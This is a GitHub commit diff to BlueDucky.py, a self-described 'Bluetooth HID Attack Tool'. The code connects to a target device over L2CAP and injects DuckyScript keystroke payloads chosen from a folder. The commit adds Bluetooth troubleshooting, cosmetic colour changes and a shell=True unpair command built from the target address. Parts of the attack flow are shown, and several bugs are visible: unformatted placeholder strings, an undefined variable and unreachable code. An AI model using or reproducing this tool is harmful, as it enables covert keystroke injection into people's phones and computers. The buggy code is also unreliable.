Updated BlueDucky.py

Added Bluetooth Debugging before UI is accessed, along with some other changes, and handling.
This commit is contained in:
Charles Johnson 2024-05-15 18:13:53 -05:00 committed by GitHub
parent 90a7850fe9
commit 2b9c4bd373
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 75 additions and 15 deletions

View File

@ -2,6 +2,7 @@ import binascii, bluetooth, sys, time, datetime, logging, argparse
from multiprocessing import Process from multiprocessing import Process
from pydbus import SystemBus from pydbus import SystemBus
from enum import Enum from enum import Enum
import subprocess
import os import os
from utils.menu_functions import (main_menu, read_duckyscript, run, restart_bluetooth_daemon, get_target_address) from utils.menu_functions import (main_menu, read_duckyscript, run, restart_bluetooth_daemon, get_target_address)
@ -15,8 +16,6 @@ class AnsiColorCode:
GREEN = '\033[92m' GREEN = '\033[92m'
YELLOW = '\033[93m' YELLOW = '\033[93m'
BLUE = '\033[94m' BLUE = '\033[94m'
MAGENTA = '\033[95m'
CYAN = '\033[96m'
WHITE = '\033[97m' WHITE = '\033[97m'
RESET = '\033[0m' RESET = '\033[0m'
@ -30,8 +29,8 @@ class ColorLogFormatter(logging.Formatter):
logging.INFO: AnsiColorCode.GREEN, logging.INFO: AnsiColorCode.GREEN,
logging.WARNING: AnsiColorCode.YELLOW, logging.WARNING: AnsiColorCode.YELLOW,
logging.ERROR: AnsiColorCode.RED, logging.ERROR: AnsiColorCode.RED,
logging.CRITICAL: AnsiColorCode.MAGENTA, logging.CRITICAL: AnsiColorCode.RED,
NOTICE_LEVEL: AnsiColorCode.CYAN, # Color for NOTICE level NOTICE_LEVEL: AnsiColorCode.BLUE, # Color for NOTICE level
} }
def format(self, record): def format(self, record):
@ -268,9 +267,20 @@ class L2CAPClient:
self.connected = True self.connected = True
log.debug("SUCCESS! connected on port %d" % self.port) log.debug("SUCCESS! connected on port %d" % self.port)
except Exception as ex: except Exception as ex:
# Color Definition Again just to avoid errors I should've made a class for this.
red = "\033[91m"
blue = "\033[94m"
reset = "\033[0m"
error = True
self.connected = False self.connected = False
log.error("ERROR connecting on port %d: %s" % (self.port, ex)) log.error("ERROR connecting on port %d: %s" % (self.port, ex))
raise ConnectionFailureException(f"Connection failure on port {self.port}") raise ConnectionFailureException(f"Connection failure on port {self.port}")
if (error == True & self.port == 14):
print("{reset}[{red}!{reset}] {red}CRITICAL ERROR{reset}: {reset}Attempted Connection to {red}{target_address} {reset}was {red}denied{reset}.")
return self.connected
return self.connected return self.connected
@ -595,6 +605,7 @@ def terminate_child_processes():
proc.terminate() proc.terminate()
proc.join() proc.join()
def setup_bluetooth(target_address, adapter_id): def setup_bluetooth(target_address, adapter_id):
restart_bluetooth_daemon() restart_bluetooth_daemon()
profile_proc = Process(target=register_hid_profile, args=(adapter_id, target_address)) profile_proc = Process(target=register_hid_profile, args=(adapter_id, target_address))
@ -626,8 +637,39 @@ def setup_and_connect(connection_manager, target_address, adapter_id):
establish_connections(connection_manager) establish_connections(connection_manager)
return connection_manager.clients[19] return connection_manager.clients[19]
def troubleshoot_bluetooth():
# Added this function to troubleshoot common issues before access to the application is granted
blue = "\033[0m"
red = "\033[91m"
reset = "\033[0m"
# Check if bluetoothctl is available
try:
subprocess.run(['bluetoothctl', '--version'], check=True, stdout=subprocess.PIPE)
except subprocess.CalledProcessError:
print("{reset}[{red}!{reset}] {red}CRITICAL{reset}: {blue}bluetoothctl {reset}is not installed or not working properly.")
return False
# Check for Bluetooth adapters
result = subprocess.run(['bluetoothctl', 'list'], capture_output=True, text=True)
if "Controller" not in result.stdout:
print("{reset}[{red}!{reset}] {red}CRITICAL{reset}: No {blue}Bluetooth adapters{reset} have been detected.")
return False
# List devices to see if any are connected
result = subprocess.run(['bluetoothctl', 'devices'], capture_output=True, text=True)
if "Device" not in result.stdout:
print("{reset}[{red}!{reset}] {red}CRITICAL{reset}: No Compatible {blue}Bluetooth devices{reset} are connected.")
return False
# if no issues are found then continue
return True
# Main function # Main function
def main(): def main():
blue = "\033[0m"
red = "\033[91m"
reset = "\033[0m"
parser = argparse.ArgumentParser(description="Bluetooth HID Attack Tool") parser = argparse.ArgumentParser(description="Bluetooth HID Attack Tool")
parser.add_argument('--adapter', type=str, default='hci0', help='Specify the Bluetooth adapter to use (default: hci0)') parser.add_argument('--adapter', type=str, default='hci0', help='Specify the Bluetooth adapter to use (default: hci0)')
args = parser.parse_args() args = parser.parse_args()
@ -636,31 +678,38 @@ def main():
main_menu() main_menu()
target_address = get_target_address() target_address = get_target_address()
if not target_address: if not target_address:
log.info("No target address provided. Exiting.") log.info("No target address provided. Exiting..")
return return
script_directory = os.path.dirname(os.path.realpath(__file__)) script_directory = os.path.dirname(os.path.realpath(__file__))
payload_folder = os.path.join(script_directory, 'payloads/') # Specify the relative path to the payloads folder. payload_folder = os.path.join(script_directory, 'payloads/') # Specify the relative path to the payloads folder.
payloads = os.listdir(payload_folder) payloads = os.listdir(payload_folder)
print("\nAvailable payloads:") blue = "\033[0m"
red = "\033[91m"
reset = "\033[0m"
print(f"\nAvailable payloads{blue}:")
for idx, payload_file in enumerate(payloads, 1): # Check and enumerate the files inside the payload folder. for idx, payload_file in enumerate(payloads, 1): # Check and enumerate the files inside the payload folder.
print(f"{idx}: {payload_file}") print(f"{reset}[{blue}{idx}{reset}]{blue}: {blue}{payload_file}")
payload_choice = input("\nEnter the number of the payload you want to load: ") blue = "\033[0m"
red = "\033[91m"
reset = "\033[0m"
payload_choice = input(f"\n{blue}Enter the number that represents the payload you would like to load{white}: {blue}")
selected_payload = None selected_payload = None
try: try:
payload_index = int(payload_choice) - 1 payload_index = int(payload_choice) - 1
selected_payload = os.path.join(payload_folder, payloads[payload_index]) selected_payload = os.path.join(payload_folder, payloads[payload_index])
except (ValueError, IndexError): except (ValueError, IndexError):
print("Invalid payload choice. No payload selected.") print(f"Invalid payload choice. No payload selected.")
if selected_payload is not None: if selected_payload is not None:
print(f"Selected payload: {selected_payload}") print(f"{blue}Selected payload{reset}: {blue}{selected_payload}")
duckyscript = read_duckyscript(selected_payload) duckyscript = read_duckyscript(selected_payload)
else: else:
print("No payload selected.") print(f"{red}No payload selected.")
if not duckyscript: if not duckyscript:
@ -680,20 +729,31 @@ def main():
process_duckyscript(hid_interrupt_client, duckyscript, current_line, current_position) process_duckyscript(hid_interrupt_client, duckyscript, current_line, current_position)
time.sleep(2) time.sleep(2)
break # Exit loop if successful break # Exit loop if successful
except ReconnectionRequiredException as e: except ReconnectionRequiredException as e:
log.info("Reconnection required. Attempting to reconnect...") log.info(f"{reset}Reconnection required. Attempting to reconnect{blue}...")
current_line = e.current_line current_line = e.current_line
current_position = e.current_position current_position = e.current_position
connection_manager.close_all() connection_manager.close_all()
# Sleep before retrying to avoid rapid reconnection attempts # Sleep before retrying to avoid rapid reconnection attempts
time.sleep(2) time.sleep(2)
#process_duckyscript(hid_interrupt_client, duckyscript) finally:
# unpair the target device
blue = "\033[94m"
reset = "\033[0m"
command = f'echo -e "remove {target_address}\n" | bluetoothctl'
subprocess.run(command, shell=True)
print(f"{blue}Successfully Removed device{reset}: {blue}{target_address}{reset}")
if __name__ == "__main__": if __name__ == "__main__":
setup_logging() setup_logging()
log = logging.getLogger(__name__) log = logging.getLogger(__name__)
try: try:
main() if troubleshoot_bluetooth():
main()
else:
sys.exit(0)
finally: finally:
terminate_child_processes() terminate_child_processes()